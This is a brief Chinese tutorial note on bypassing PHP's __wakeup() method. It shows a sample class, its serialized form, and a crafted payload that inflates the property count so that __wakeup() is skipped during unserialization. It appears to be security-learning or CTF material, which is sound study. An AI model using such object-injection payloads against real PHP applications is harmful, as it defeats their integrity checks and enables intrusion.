__wakeup()方法绕过
函数作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过方法:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
$str = serialize($a);
echo $str;
?>
上面的代码,序列化后的结果为
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
其中Name后面的2,代表Name类中有2个属性,但如果我们把2改成3,就可以绕过__wakeup()函数。
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
参考:
https://blog.csdn.net/weixin_44077544/article/details/103542260